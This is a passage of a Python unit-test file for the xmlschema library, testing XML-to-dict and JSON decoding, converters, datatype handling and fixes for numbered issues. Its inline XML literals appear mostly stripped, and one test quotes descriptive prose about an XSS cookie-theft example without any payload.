'date_and_time': '2020-03-05T23:04:10.047', # xs:dateTime is not decoded for default 'list_of_floats': [float('inf'), float('-inf')], } def iter_nested_iterables(obj): if not isinstance(obj, (MutableMapping, MutableSequence, Set, tuple)): yield obj else: for item in obj.values() if isinstance(obj, MutableMapping) else obj: if not isinstance(item, (MutableMapping, MutableSequence, Set, tuple)): yield item else: yield from iter_nested_iterables(item) class TestDecoding(XsdValidatorTestCase): cases_dir = pathlib.Path(__file__).parent.joinpath('../test_cases') def check_decode(self, xsd_component, data, expected, **kwargs): if isinstance(expected, type) and issubclass(expected, Exception): self.assertRaises(expected, xsd_component.decode, data, **kwargs) else: obj = xsd_component.decode(data, **kwargs) if isinstance(obj, tuple) and len(obj) == 2 and isinstance(obj[1], list) \ and isinstance(obj[1][0], Exception): self.assertEqual(expected, obj[0]) self.assertTrue(isinstance(obj[0], type(expected))) else: self.assertEqual(expected, obj) self.assertTrue(isinstance(obj, type(expected))) @unittest.skipIf(lxml_etree is None, "The lxml library is not available.") def test_lxml(self): vh_xml_tree = lxml_etree.parse(self.vh_xml_file) self.assertEqual(self.vh_schema.to_dict(vh_xml_tree), VEHICLES_DICT) self.assertEqual(xmlschema.to_dict(vh_xml_tree, self.vh_schema.url), VEHICLES_DICT) def test_to_dict_from_etree(self): vh_xml_tree = ElementTree.parse(self.vh_xml_file) col_xml_tree = ElementTree.parse(self.col_xml_file) xml_dict = self.vh_schema.to_dict(vh_xml_tree) self.assertNotEqual(xml_dict, VEHICLES_DICT) xml_dict = self.vh_schema.to_dict(vh_xml_tree, namespaces=self.vh_namespaces) self.assertEqual(xml_dict, VEHICLES_DICT) xml_dict = xmlschema.to_dict( vh_xml_tree, self.vh_schema.url, namespaces=self.vh_namespaces ) self.assertEqual(xml_dict, VEHICLES_DICT) xml_dict = self.col_schema.to_dict(col_xml_tree) self.assertNotEqual(xml_dict, COLLECTION_DICT) xml_dict = self.col_schema.to_dict(col_xml_tree, namespaces=self.col_namespaces) self.assertEqual(xml_dict, COLLECTION_DICT) xml_dict = xmlschema.to_dict(col_xml_tree, self.col_schema.url, namespaces=self.col_namespaces) self.assertEqual(xml_dict, COLLECTION_DICT) def test_to_dict_from_string(self): with open(self.vh_xml_file) as f: vh_xml_string = f.read() with open(self.col_xml_file) as f: col_xml_string = f.read() xml_dict = self.vh_schema.to_dict(vh_xml_string, namespaces=self.vh_namespaces) self.assertEqual(xml_dict, VEHICLES_DICT) xml_dict = xmlschema.to_dict(vh_xml_string, self.vh_schema.url, namespaces=self.vh_namespaces) self.assertEqual(xml_dict, VEHICLES_DICT) xml_dict = self.col_schema.to_dict(col_xml_string, namespaces=self.col_namespaces) self.assertTrue(xml_dict, COLLECTION_DICT) xml_dict = xmlschema.to_dict(col_xml_string, self.col_schema.url, namespaces=self.col_namespaces) self.assertTrue(xml_dict, COLLECTION_DICT) def test_date_decoding(self): # Issue #136 schema = self.schema_class(""" """) self.assertEqual(schema.to_dict("2019-01-01"), '2019-01-01') self.assertEqual(schema.to_dict("2019-01-01", datetime_types=True), datatypes.Date10.fromstring('2019-01-01')) data, errors = schema.to_dict("2019-01-01", validation='lax') self.assertEqual(data, '2019-01-01') self.assertEqual(errors, []) data, errors = schema.to_dict("2019-01-01", validation='lax', datetime_types=True) self.assertEqual(data, datatypes.Date10.fromstring('2019-01-01')) self.assertEqual(errors, []) data, errors = schema.to_dict("1999-12-31", validation='lax') self.assertEqual(data, '1999-12-31') self.assertEqual(len(errors), 1) self.assertIn('value has to be greater or equal than', str(errors[0])) data, errors = schema.to_dict("1999-12-31", validation='lax', datetime_types=True) self.assertEqual(data, datatypes.Date10.fromstring('1999-12-31')) self.assertEqual(len(errors), 1) data, errors = schema.to_dict("2019", validation='lax') self.assertIsNone(data) self.assertEqual(len(errors), 1) with self.assertRaises(XMLSchemaValidationError): schema.to_dict("2019") data, errors = schema.to_dict("2019", validation='lax') self.assertIsNone(data) self.assertEqual(len(errors), 1) def test_qname_decoding(self): schema = self.schema_class(""" """) xml_data = 'ns0:foo' self.assertEqual(schema.decode(xml_data), {'@xmlns:ns0': 'http://xmlschema.test/0', '$': 'ns0:foo'}) self.assertEqual(schema.decode('foo'), 'foo') with self.assertRaises(XMLSchemaValidationError) as ctx: schema.decode('ns0:foo') self.assertIn("failed validating 'ns0:foo'", str(ctx.exception)) self.assertIn("Reason: unmapped prefix 'ns0' in a QName", str(ctx.exception)) self.assertIn("Path: /root", str(ctx.exception)) xml_data = 'ns0:foo' self.assertEqual(schema.decode(xml_data), { '@xmlns:ns0': 'http://xmlschema.test/0', '@name': 'ns0:bar', '$': 'ns0:foo' }) # Check reverse encoding obj = schema.decode(xml_data, converter=JsonMLConverter) root = schema.encode(obj, converter=JsonMLConverter) self.assertEqual(ElementTree.tostring(root), b'ns0:foo\n') with self.assertRaises(XMLSchemaValidationError) as ctx: schema.decode('foo') self.assertIn("failed validating 'ns0:bar'", str(ctx.exception)) self.assertIn("unmapped prefix 'ns0' in a QName", str(ctx.exception)) self.assertIn("Path: /root", str(ctx.exception)) def test_json_dump_and_load(self): vh_xml_tree = ElementTree.parse(self.vh_xml_file) col_xml_tree = ElementTree.parse(self.col_xml_file) with open(self.vh_json_file, 'w') as f: xmlschema.to_json(self.vh_xml_file, f) with open(self.vh_json_file) as f: root = xmlschema.from_json(f, self.vh_schema) os.remove(self.vh_json_file) self.check_etree_elements(vh_xml_tree.getroot(), root) with open(self.col_json_file, 'w') as f: xmlschema.to_json(self.col_xml_file, f) with open(self.col_json_file) as f: root = xmlschema.from_json(f, self.col_schema) os.remove(self.col_json_file) self.check_etree_elements(col_xml_tree.getroot(), root) def test_json_path_decoding(self): xml_file = self.col_xml_file schema = self.col_schema json_data = xmlschema.to_json(xml_file, schema=schema, path='*') self.assertIsInstance(json_data, str) self.assertEqual(len(json_data), 493) self.assertEqual(json_data[:4], '[{"@') self.assertEqual(json_data[-1], ']') self.assertEqual( json_data, xmlschema.to_json(xml_file, schema=schema, path='object') ) self.assertEqual( json_data, xmlschema.to_json(xml_file, schema=schema, path='//object') ) self.assertEqual( json_data, xmlschema.to_json(xml_file, schema=schema, path='/col:collection/object') ) def test_json_lazy_decoding(self): kwargs = {'xml_document': self.col_xml_file, 'schema': self.col_schema} col_json = xmlschema.to_json(**kwargs) self.assertIsInstance(col_json, str) self.assertEqual(len(col_json), 688) self.assertTrue(col_json.startswith('{"@xmlns:')) self.assertEqual(col_json[-1], '}') self.assertEqual( col_json, xmlschema.to_json(lazy=True, **kwargs) ) json_data = xmlschema.to_json(path='object', **kwargs) self.assertIn(json_data, col_json) self.assertEqual( json_data, xmlschema.to_json(path='object', lazy=True, **kwargs) ) self.assertEqual( json_data, xmlschema.to_json(validation='skip', path='object', lazy=True, **kwargs) ) json_data = xmlschema.to_json(path='object/author', **kwargs) self.assertIsInstance(json_data, str) self.assertEqual(len(json_data), 259) self.assertEqual(json_data[:4], '[{"@') self.assertEqual(json_data[-1], ']') self.assertEqual( json_data, xmlschema.to_json(path='object/author', lazy=True, **kwargs) ) self.assertEqual(json_data, xmlschema.to_json( validation='skip', path='object/author', lazy=True, **kwargs )) # Tests for issue #159 self.assertEqual(json_data, xmlschema.to_json( path='/col:collection/object/author', lazy=True, **kwargs )) self.assertEqual(json_data, xmlschema.to_json( validation='skip', path='/col:collection/object/author', lazy=True, **kwargs )) def test_path(self): xt = ElementTree.parse(self.vh_xml_file) xd = self.vh_schema.to_dict(xt, '/vh:vehicles/vh:cars', namespaces=self.vh_namespaces) self.assertEqual(xd['vh:car'], VEHICLES_DICT['vh:cars']['vh:car']) xd = self.vh_schema.to_dict(xt, '/vh:vehicles/vh:bikes', namespaces=self.vh_namespaces) self.assertEqual(xd['vh:bike'], VEHICLES_DICT['vh:bikes']['vh:bike']) def test_max_depth_argument(self): schema = self.schema_class(self.col_xsd_file) self.assertEqual( schema.decode(self.col_xml_file, max_depth=1), {'@xmlns:col': 'http://example.com/ns/collection', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:schemaLocation': 'http://example.com/ns/collection collection.xsd'}) xmlschema.limits.MAX_XML_DEPTH = 1 with self.assertRaises(XMLSchemaValidationError): schema.decode(self.col_xml_file) xmlschema.limits.MAX_XML_DEPTH = 9999 self.assertEqual( schema.decode(self.col_xml_file, max_depth=2), {'@xmlns:col': 'http://example.com/ns/collection', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:schemaLocation': 'http://example.com/ns/collection collection.xsd', 'object': [{'@id': 'b0836217462', '@available': True}, {'@id': 'b0836217463', '@available': True}]}) def test_value_hook_argument(self): schema = self.schema_class(self.col_xsd_file) def ascii_strings(value, xsd_type): try: if not isinstance(value, str) or \ xsd_type.primitive_type.name != XSD_STRING: return value except AttributeError: return value else: return value.encode('utf-8') obj = schema.decode(self.col_xml_file, value_hook=ascii_strings) self.assertNotEqual(obj, schema.decode(self.col_xml_file)) root = schema.encode(obj) self.assertIsNone(etree_elements_assert_equal( root, ElementTree.parse(self.col_xml_file).getroot(), strict=False )) self.assertEqual(obj['object'][0]['title'], b'The Umbrellas') def test_non_global_schema_path(self): # Issue #157 xs = self.schema_class(""" """) self.assertEqual( xs.to_dict( """ test """, schema_path='.//part1', ), {"sub_part1": "test"} ) def test_validation_strict(self): self.assertRaises( xmlschema.XMLSchemaValidationError, self.vh_schema.to_dict, ElementTree.parse(self.casepath('examples/vehicles/vehicles-2_errors.xml')), validation='strict', namespaces=self.vh_namespaces ) def test_validation_skip(self): xt = ElementTree.parse(self.casepath('features/decoder/data3.xml')) xd = self.st_schema.decode(xt, validation='skip', namespaces={'ns': 'ns'}) self.assertEqual(xd['decimal_value'], ['abc']) def test_datatypes(self): xd = self.st_schema.to_dict(self.casepath('features/decoder/data.xml')) self.assertDictEqual(xd, DATA_DICT) xt = ElementTree.parse(self.casepath('features/decoder/data.xml')) xd = self.st_schema.to_dict(xt, namespaces=self.default_namespaces) self.assertNotEqual(xd, DATA_DICT) self.assertIn('@xmlns:xsi', xd) self.assertIn('@xmlns:tns', xd) self.assertIn('@xmlns:ns', xd) def test_datetime_types(self): xs = self.get_schema('') self.assertEqual(xs.decode('
2019-01-01T13:40:00
'), '2019-01-01T13:40:00') self.assertEqual(xs.decode('
2019-01-01T13:40:00
', datetime_types=True), datatypes.DateTime10.fromstring('2019-01-01T13:40:00')) xs = self.get_schema('') self.assertEqual(xs.decode('
2001-04-15
'), '2001-04-15') self.assertEqual(xs.decode('
2001-04-15
', datetime_types=True), datatypes.Date10.fromstring('2001-04-15')) xs = self.get_schema('') self.assertEqual(xs.attributes['dt'].decode('2001-04-15'), '2001-04-15') self.assertEqual(xs.attributes['dt'].decode('2001-04-15', datetime_types=True), datatypes.Date10.fromstring('2001-04-15')) def test_duration_type(self): xs = self.get_schema('') self.assertEqual(xs.decode('P5Y3MT60H30.001S'), 'P5Y3MT60H30.001S') self.assertEqual(xs.decode('P5Y3MT60H30.001S', datetime_types=True), datatypes.Duration.fromstring('P5Y3M2DT12H30.001S')) def test_default_converter(self): self.assertEqual(self.col_schema.to_dict(self.col_xml_file), COLLECTION_DICT) default_dict = self.col_schema.to_dict(self.col_xml_file, converter=xmlschema.XMLSchemaConverter) self.assertEqual(default_dict, COLLECTION_DICT) default_dict_root = self.col_schema.to_dict(self.col_xml_file, preserve_root=True) self.assertEqual(default_dict_root, {'col:collection': COLLECTION_DICT}) def test_visitor_converter(self): visitor_dict = self.col_schema.to_dict(self.col_xml_file, converter=UnorderedConverter) self.assertEqual(visitor_dict, COLLECTION_DICT) visitor_dict_root = self.col_schema.to_dict( self.col_xml_file, converter=UnorderedConverter(preserve_root=True)) self.assertEqual(visitor_dict_root, {'col:collection': COLLECTION_DICT}) def test_parker_converter(self): parker_dict = self.col_schema.to_dict(self.col_xml_file, converter=xmlschema.ParkerConverter) self.assertEqual(parker_dict, COLLECTION_PARKER) parker_dict_root = self.col_schema.to_dict( self.col_xml_file, converter=ParkerConverter(preserve_root=True), decimal_type=float) self.assertEqual(parker_dict_root, COLLECTION_PARKER_ROOT) def test_badgerfish_converter(self): badgerfish_dict = self.col_schema.to_dict( self.col_xml_file, converter=BadgerFishConverter, decimal_type=float) self.assertEqual(badgerfish_dict, COLLECTION_BADGERFISH) def test_abdera_converter(self): abdera_dict = self.col_schema.to_dict( self.col_xml_file, converter=AbderaConverter, decimal_type=float, dict_class=dict) self.assertEqual(abdera_dict, COLLECTION_ABDERA) def test_json_ml_converter(self): json_ml_dict = self.col_schema.to_dict(self.col_xml_file, converter=JsonMLConverter) self.assertEqual(json_ml_dict, COLLECTION_JSON_ML) def test_columnar_converter(self): columnar_dict = self.col_schema.to_dict(self.col_xml_file, converter=ColumnarConverter) self.assertEqual(columnar_dict, COLLECTION_COLUMNAR) columnar_dict = self.col_schema.to_dict( self.col_xml_file, converter=ColumnarConverter, attr_prefix='_', ) self.assertEqual(columnar_dict, COLLECTION_COLUMNAR_) with self.assertRaises(ValueError) as ctx: self.col_schema.to_dict( self.col_xml_file, converter=ColumnarConverter, attr_prefix='-', ) self.assertEqual(str(ctx.exception), "'attr_prefix' can be the empty string or a single/double underscore") def test_dict_granularity(self): """Based on Issue #22, test to make sure an xsd indicating list with dictionaries, returns just that even when it has a single dict. """ xsd_string = self.casepath('issues/issue_022/xsd_string.xsd') xml_string_1 = self.casepath('issues/issue_022/xml_string_1.xml') xml_string_2 = self.casepath('issues/issue_022/xml_string_2.xml') xsd_schema = self.schema_class(xsd_string) xml_data_1 = xsd_schema.to_dict(xml_string_1) xml_data_2 = xsd_schema.to_dict(xml_string_2) self.assertTrue(isinstance(xml_data_1['bar'], type(xml_data_2['bar'])), msg="XSD with an array that return a single element from " "xml must still yield a list.") def test_any_type_decoding(self): any_type = self.schema_class.meta_schema.types['anyType'] xml_data_1 = ElementTree.Element('dummy') self.assertIsNone(any_type.decode(xml_data_1)) xml_data_2 = ElementTree.fromstring('\n \n \n') # Fix for processContents='lax' (issue 273, previously result was None) self.assertEqual(any_type.decode(xml_data_2), {'child_1': [None], 'child_2': [None]}) def test_skip_wildcard_decoding(self): schema = self.schema_class(""" """) self.assertIsNone(schema.decode('')) obj = schema.decode('', process_skipped=True) self.assertEqual(obj, {'bar': None}) root = schema.encode(obj) self.assertEqual(root.tag, 'foo') self.assertEqual(len(root), 0) root = schema.encode(obj, process_skipped=True) self.assertEqual(root.tag, 'foo') self.assertEqual(len(root), 1) self.assertEqual(root[0].tag, 'bar') def test_any_type_decoding__issue_273(self): schema = self.schema_class(self.casepath('issues/issue_273/issue_273.xsd')) data = schema.to_dict(self.casepath('issues/issue_273/issue_273.xml')) self.assertDictEqual(data, { '@x': 'QA01_sequence', '@y': 2500, 'QA01': [ {'qa01_elem01': ['13'], 'qa01_elem02': ['5139'], 'qa01_elem03': ['170'], 'qa01_elem04': [{'@these': 'attributes', '@get': 'dropped', '$': '0'}], 'qa01_elem05': ['56'], 'qa01_elem06': ['11141178'] }]}) def test_choice_model_decoding__issue_041(self): schema = self.schema_class(self.casepath('issues/issue_041/issue_041.xsd')) data = schema.to_dict(self.casepath('issues/issue_041/issue_041.xml')) self.assertEqual(data, { '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:noNamespaceSchemaLocation': 'issue_041.xsd', 'Name': 'SomeNameValueThingy', 'Value': {'Integer': 0} }) def test_cdata_decoding(self): schema = self.schema_class(self.casepath('issues/issue_046/issue_046.xsd')) xml_file = self.casepath('issues/issue_046/issue_046.xml') self.assertEqual( schema.decode(xml_file, cdata_prefix='#'), dict( [('@xmlns:xsi', 'http://www.w3.org/2001/XMLSchema-instance'), ('@xsi:noNamespaceSchemaLocation', 'issue_046.xsd'), ('#1', 'Dear Mr.'), ('name', 'John Smith'), ('#2', '.\n Your order'), ('orderid', 1032), ('#3', 'will be shipped on'), ('shipdate', '2001-07-13'), ('#4', '.')] )) def test_string_facets(self): none_empty_string_type = self.st_schema.types['none_empty_string'] self.check_decode(none_empty_string_type, '', XMLSchemaValidationError) name_type = self.st_schema.types['NameType'] self.check_decode(name_type, '', XMLSchemaValidationError) def test_hex_binary_type(self): hex_code_type = self.st_schema.types['hexCode'] self.check_decode(hex_code_type, '00D7310A', datatypes.HexBinary(b'00D7310A')) self.check_decode(hex_code_type, 'D7310A', XMLSchemaValidationError) xs = self.get_schema('') obj = xs.decode(' 9AFD ') self.assertEqual(obj, '9AFD') # Value string is collapsed anyway self.assertIsInstance(obj, str) obj = xs.decode(' 9AFD ', binary_types=True) self.assertIsInstance(obj, datatypes.HexBinary) self.assertEqual(obj.value, b'9AFD') xs = self.get_schema('') obj = xs.attributes['hex'].decode(' 9AFD ') self.assertEqual(obj, '9AFD') self.assertIsInstance(obj, str) obj = xs.attributes['hex'].decode(' 9AFD ', binary_types=True) self.assertIsInstance(obj, datatypes.HexBinary) self.assertEqual(obj.value, b'9AFD') def test_base64_binary_type(self): base64_code_type = self.st_schema.types['base64Code'] self.check_decode(base64_code_type, base64.b64encode(b'ok'), XMLSchemaValidationError) base64_value = base64.b64encode(b'hello') expected_value = datatypes.Base64Binary(base64_value) self.check_decode(base64_code_type, base64_value, expected_value) # Attribute xs = self.get_schema('') obj = xs.attributes['b64'].decode(base64_value.decode()) self.assertEqual(obj, str(expected_value)) self.assertIsInstance(obj, str) obj = xs.attributes['b64'].decode(base64_value.decode(), binary_types=True) self.assertEqual(obj, expected_value) self.assertIsInstance(obj, datatypes.Base64Binary) # Element xs = self.get_schema('') obj = xs.decode(f'{base64_value.decode()}') self.assertEqual(obj, str(expected_value)) self.assertIsInstance(obj, str) obj = xs.decode(f'{base64_value.decode()}', binary_types=True) self.assertEqual(obj, expected_value) self.assertIsInstance(obj, datatypes.Base64Binary) self.check_decode(base64_code_type, base64.b64encode(b'abcefgh'), datatypes.Base64Binary('YWJjZWZnaA==')) self.check_decode(base64_code_type, b' Y W J j ZWZ\t\tn\na A= =', datatypes.Base64Binary('Y W J j ZWZ n a A= =')) self.check_decode(base64_code_type, ' Y W J j ZWZ\t\tn\na A= =', datatypes.Base64Binary('Y W J j ZWZ n a A= =')) self.check_decode(base64_code_type, base64.b64encode(b'abcefghi'), datatypes.Base64Binary('YWJjZWZnaGk=')) self.check_decode(base64_code_type, 'YWJjZWZnaA=', XMLSchemaValidationError) self.check_decode(base64_code_type, 'YWJjZWZna$==', XMLSchemaValidationError) base64_length4_type = self.st_schema.types['base64Length4'] self.check_decode(base64_length4_type, base64.b64encode(b'abc'), XMLSchemaValidationError) self.check_decode(base64_length4_type, base64.b64encode(b'abce'), datatypes.Base64Binary('YWJjZQ==')) self.check_decode(base64_length4_type, base64.b64encode(b'abcef'), XMLSchemaValidationError) base64_length5_type = self.st_schema.types['base64Length5'] self.check_decode(base64_length5_type, base64.b64encode(b'1234'), XMLSchemaValidationError) self.check_decode(base64_length5_type, base64.b64encode(b'12345'), datatypes.Base64Binary('MTIzNDU=')) self.check_decode(base64_length5_type, base64.b64encode(b'123456'), XMLSchemaValidationError) def test_decimal_type(self): schema = self.get_schema(""" """) self.check_decode(schema, '120.48', Decimal('120.48')) self.check_decode(schema, '100.50', Decimal('100.50'), process_namespaces=False) self.check_decode(schema, '100.49', XMLSchemaValidationError) self.check_decode(schema, '120.48', 120.48, decimal_type=float) # Issue #66 self.check_decode(schema, '120.48', '120.48', decimal_type=str) def test_nillable__issue_076(self): xsd_string = """ """ xsd_schema = self.schema_class(xsd_string) xml_string_1 = "0" xml_string_2 = """ """ self.assertTrue(xsd_schema.is_valid(source=xml_string_1, use_defaults=False)) self.assertTrue(xsd_schema.is_valid(source=xml_string_2, use_defaults=False)) obj = xsd_schema.decode(xml_string_2, use_defaults=False) self.check_etree_elements(ElementTree.fromstring(xml_string_2), xsd_schema.encode(obj)) def test_keep_empty(self): schema = self.schema_class(self.casepath('issues/issue_322/issue_322.xsd')) xml_file = self.casepath('issues/issue_322/issue_322.xml') data = schema.decode(xml_file) self.assertEqual(data, { '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', 'emptystring': None, 'nillstring': {'@xsi:nil': 'true'} }) data = schema.decode(xml_file, keep_empty=True) self.assertEqual(data, { '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', 'emptystring': '', 'nillstring': {'@xsi:nil': 'true'} }) schema = self.schema_class(dedent("""\ """)) xml_data = "" data, errors = schema.decode(xml_data, validation='lax', keep_empty=True) self.assertEqual(data, {'emptiable': '', 'filled': '', 'number': None}) self.assertEqual(len(errors), 2) data = schema.decode(xml_data, validation='skip', keep_empty=True) self.assertEqual(data, {'emptiable': '', 'filled': '', 'number': ''}) def test_element_hook__issue_322(self): schema = self.schema_class(self.casepath('issues/issue_322/issue_322.xsd')) xml_file = self.casepath('issues/issue_322/issue_322.xml') def element_hook(element_data: ElementData, *_args): if not element_data.attributes: return element_data return ElementData( element_data.tag, element_data.text, element_data.content, [x for x in element_data.attributes if x[0] != XSI_NIL], None ) data = schema.decode(xml_file, element_hook=element_hook) self.assertEqual(data, { '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', 'emptystring': None, 'nillstring': None, }) # Resolution for issue 322 data = schema.decode(xml_file, keep_empty=True, element_hook=element_hook) self.assertEqual(data, { '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', 'emptystring': '', 'nillstring': None, }) def test_default_namespace__issue_077(self): xs = self.schema_class(""" """) self.assertEqual(xs.to_dict("""bar""", path='/foo', namespaces={'': 'http://example.com/foo'}), {'@xmlns': 'http://example.com/foo', '$': 'bar'}) self.assertEqual(xs.to_dict("""bar""", path='/foo', namespaces={'': 'http://example.com/foo'}), None) def test_complex_with_simple_content_restriction(self): xs = self.schema_class( self.casepath('features/derivations/complex-with-simple-content-restriction.xsd') ) self.assertTrue(xs.is_valid('10')) self.assertFalse(xs.is_valid('alpha')) self.assertEqual(xs.decode('10'), 10) def test_union_types__issue_103(self): decimal_or_nan = self.st_schema.types['myType'] self.check_decode(decimal_or_nan, '95.0', Decimal('95.0')) self.check_decode(decimal_or_nan, 'NaN', 'NaN') def test_default_values__issue_108(self): # From issue #108 xsd_text = """ """ schema = self.schema_class(xsd_text) self.assertEqual(schema.to_dict("text"), {'@attrWithDefault': 'default_value', '@attrWithFixed': 'fixed_value', '$': 'text'}) self.assertEqual(schema.to_dict(""), {'@attrWithDefault': 'default_value', '@attrWithFixed': 'fixed_value', '$': 'default_value'}) self.assertEqual(schema.to_dict("""text"""), {'$': 'text', '@attr': 'attr_value', '@attrWithDefault': 'default_value', '@attrWithFixed': 'fixed_value'}) self.assertEqual(schema.to_dict("text", use_defaults=False), {'@attrWithFixed': 'fixed_value', '$': 'text'}) self.assertEqual(schema.to_dict("""text""", use_defaults=False), {'$': 'text', '@attr': 'attr_value', '@attrWithFixed': 'fixed_value'}) self.assertEqual(schema.to_dict("", use_defaults=False), {'@attrWithFixed': 'fixed_value'}) self.assertEqual(schema.to_dict(""), 'default_value') self.assertIsNone(schema.to_dict("", use_defaults=False)) def test_decoding_errors_with_validation_modes(self): schema = self.schema_class(""" """) self.assertIsNone(schema.to_dict("alpha", validation='lax')[0]) self.assertEqual(schema.to_dict("20"), {'@int_attr': 10, '$': 20}) self.assertEqual(schema.to_dict("20", validation='lax')[0], {'@int_attr': None, '$': 20}) self.assertEqual(schema.to_dict("20", validation='skip'), {'@int_attr': 'wrong', '$': 20}) def test_keep_unknown_tags__issue_204(self): schema = self.schema_class(self.casepath('issues/issue_204/issue_204.xsd')) self.assertTrue(schema.is_valid(self.casepath('issues/issue_204/issue_204_1.xml'))) self.assertFalse(schema.is_valid(self.casepath('issues/issue_204/issue_204_2.xml'))) data = schema.decode(self.casepath('issues/issue_204/issue_204_2.xml'), validation='lax') self.assertEqual({x for x in data[0] if x[0] != '@'}, {'child2', 'child5'}) data = schema.decode(self.casepath('issues/issue_204/issue_204_3.xml'), validation='lax') self.assertEqual({x for x in data[0] if x[0] != '@'}, {'child2', 'child5'}) data = schema.decode(self.casepath('issues/issue_204/issue_204_3.xml'), validation='lax', keep_unknown=True) self.assertEqual({x for x in data[0] if x[0] != '@'}, {'child2', 'unknown', 'child5'}) self.assertEqual(data[0]['unknown'], {'a': ['1'], 'b': [None]}) data = schema.decode(self.casepath('issues/issue_204/issue_204_2.xml'), validation='skip') self.assertEqual({x for x in data if x[0] != '@'}, {'child2', 'child5'}) data = schema.decode(self.casepath('issues/issue_204/issue_204_3.xml'), validation='skip', keep_unknown=True) self.assertEqual({x for x in data if x[0] != '@'}, {'child2', 'unknown', 'child5'}) self.assertEqual(data['unknown'], {'a': ['1'], 'b': [None]}) def test_error_message__issue_115(self): schema = self.schema_class(self.casepath('issues/issue_115/Rotation.xsd')) rotation_data = '' message_lines = [] try: schema.decode(rotation_data) except Exception as err: message_lines = str(err).split('\n') self.assertTrue(message_lines, msg="Empty error message!") self.assertEqual(message_lines[-6], 'Instance:') self.assertEqual(message_lines[-4].strip(), rotation_data) self.assertEqual(message_lines[-2], 'Path: /tns:rotation') def test_empty_base_type_extension_single_value(self): xsd_text = """ """ schema = self.schema_class(xsd_text) xml_source = """ my content """ result = schema.to_dict(xml_source) expected = { "@xmlns:xsi": "http://www.w3.org/2001/XMLSchema-instance", "ExtensionSub": { "@xsi:type": "ExtensionType", "Content": "my content", } } self.assertEqual(result, expected) root = schema.to_etree(result) self.assertIsNone(etree_elements_assert_equal( root, ElementTree.XML(xml_source), strict=False )) def test_issue_190(self): # Changed is_single() for XsdElement to check also parent group. schema = self.schema_class(self.casepath('issues/issue_190/issue_190.xsd')) self.assertEqual( schema.to_dict(self.casepath('issues/issue_190/issue_190.xml')), {'a': {'c': ['1']}, 'b': {'c': ['1'], 'e': ['1']}} ) def test_issue_200(self): # Schema path is required when path doesn't resolve to an XSD element schema = self.schema_class(self.casepath('issues/issue_200/issue_200.xsd')) self.assertEqual( schema.to_dict(self.casepath('issues/issue_200/issue_200.xml'), path='/na:main/na:item[@doc_id=1]'), {'@doc_id': 1, '@ref_id': 'k1', '$': 'content_k1'} ) with self.assertRaises(XMLSchemaValidationError) as ctx: schema.to_dict(self.casepath('issues/issue_200/issue_200.xml'), path='/na:main/na:item[@doc_id=2]'), self.assertIn("doesn't select any '{ames}item' element of the schema", str(ctx.exception)) def test_issue_238__decode_bytes_strings(self): with open(self.vh_xml_file, 'rb') as fp: vh_xml_data = fp.read() self.assertIsInstance(vh_xml_data, bytes) obj = self.vh_schema.decode(vh_xml_data) # ElementTree accepts also bytes but emits Unicode strings only for value in iter_nested_iterables(obj): self.assertNotIsInstance(value, bytes) def test_issue_240__decode_unicode_to_json(self): schema = self.get_schema('') xml_data = 'Ă¸Ă¦Ă¥' obj = xmlschema.to_dict(xml_data, schema=schema, decimal_type=str) self.assertEqual(obj, 'Ă¸Ă¦Ă¥') self.assertEqual(obj, schema.decode(xml_data, decimal_type=str)) json_data = json.dumps(obj, indent=4) self.assertEqual(obj, 'Ă¸Ă¦Ă¥') self.assertIsInstance(obj, str) self.assertEqual(json_data.encode("utf-8"), b'"\\u00f8\\u00e6\\u00e5"') def test_float_decoding(self): for float_type in [self.schema_class.meta_schema.types['float'], self.schema_class.meta_schema.types['double']]: self.assertAlmostEqual(float_type.decode('-1'), -1.0) self.assertAlmostEqual(float_type.decode('19.7'), 19.7) self.assertAlmostEqual(float_type.decode('INF'), float('inf')) self.assertAlmostEqual(float_type.decode('-INF'), float('-inf')) self.assertNotAlmostEqual(float_type.decode('INF'), float('-inf')) self.assertTrue(math.isnan(float_type.decode('NaN'))) def test_no_process_namespaces__issue_314(self): xsd_file = self.casepath('issues/issue_314/issue_314.xsd') xml_file = self.casepath('issues/issue_314/issue_314.xml') schema = self.schema_class(xsd_file) result = schema.decode(xml_file) self.assertEqual( result, {'@xmlns:p': 'my_namespace', '@xmlns:b': 'http://www.w3.org/2001/XMLSchema-instance', 'p:container': { 'p:item': [{ '@b:type': 'p:ConcreteContainterItemInfo', '@attr_2': 'value_2'} ]}} ) result = schema.decode(xml_file, process_namespaces=False) self.assertEqual( result, {'{my_namespace}container': { '{my_namespace}item': [{ '@{http://www.w3.org/2001/XMLSchema-instance}type': 'p:ConcreteContainterItemInfo', '@attr_2': 'value_2'}]}} ) def test_mixed_content_decode__issue_334(self): schema = self.schema_class(""" """) result = schema.decode('text1tail1tail2') self.assertEqual(result, {'elem1': [None, None]}) result = schema.decode('text1tail1tail2', cdata_prefix='#') self.assertEqual(result, {'#1': 'text1', 'elem1': [None, None], '#2': 'tail1', '#3': 'tail2'}) result = schema.decode('text1tail1tail2', cdata_prefix='') self.assertEqual(result, {'1': 'text1', 'elem1': [None, None], '2': 'tail1', '3': 'tail2'}) xsd_file = self.casepath('issues/issue_334/issue_334.xsd') xml_file = self.casepath('issues/issue_334/issue_334.xml') xs = self.schema_class(xsd_file) result = xs.decode(xml_file) body_text = result['Demonstrative_Example'][0]['Body_Text'] expected = ['The snippet of code below establishes a new cookie to hold the sessionID.', 'The HttpOnly flag is not set for the cookie. An attacker who can perform ' 'XSS could insert malicious script such as:', 'When the client loads and executes this script, it makes a request to the ' 'attacker-controlled web site. The attacker can then log the request and ' 'steal the cookie.', 'To mitigate the risk, use the setHttpOnly(true) method.'] self.assertListEqual(body_text, expected) result = xs.decode(xml_file, preserve_root=True) body_text = result['Demonstrative_Examples']['Demonstrative_Example'][0]['Body_Text'] self.assertListEqual(body_text, expected) def test_fill_missing_elements__issue_341(self): xsd_file = self.casepath('issues/issue_341/issue_341.xsd') xml_file = self.casepath('issues/issue_341/issue_341.xml') schema = self.schema_class(xsd_file) expected = {'TEST_EL': [ {'@Date': '2022-10-03', 'TEST_EL_2': { 'exists_in_xml': { '@test_attr': 'test_value_attr', 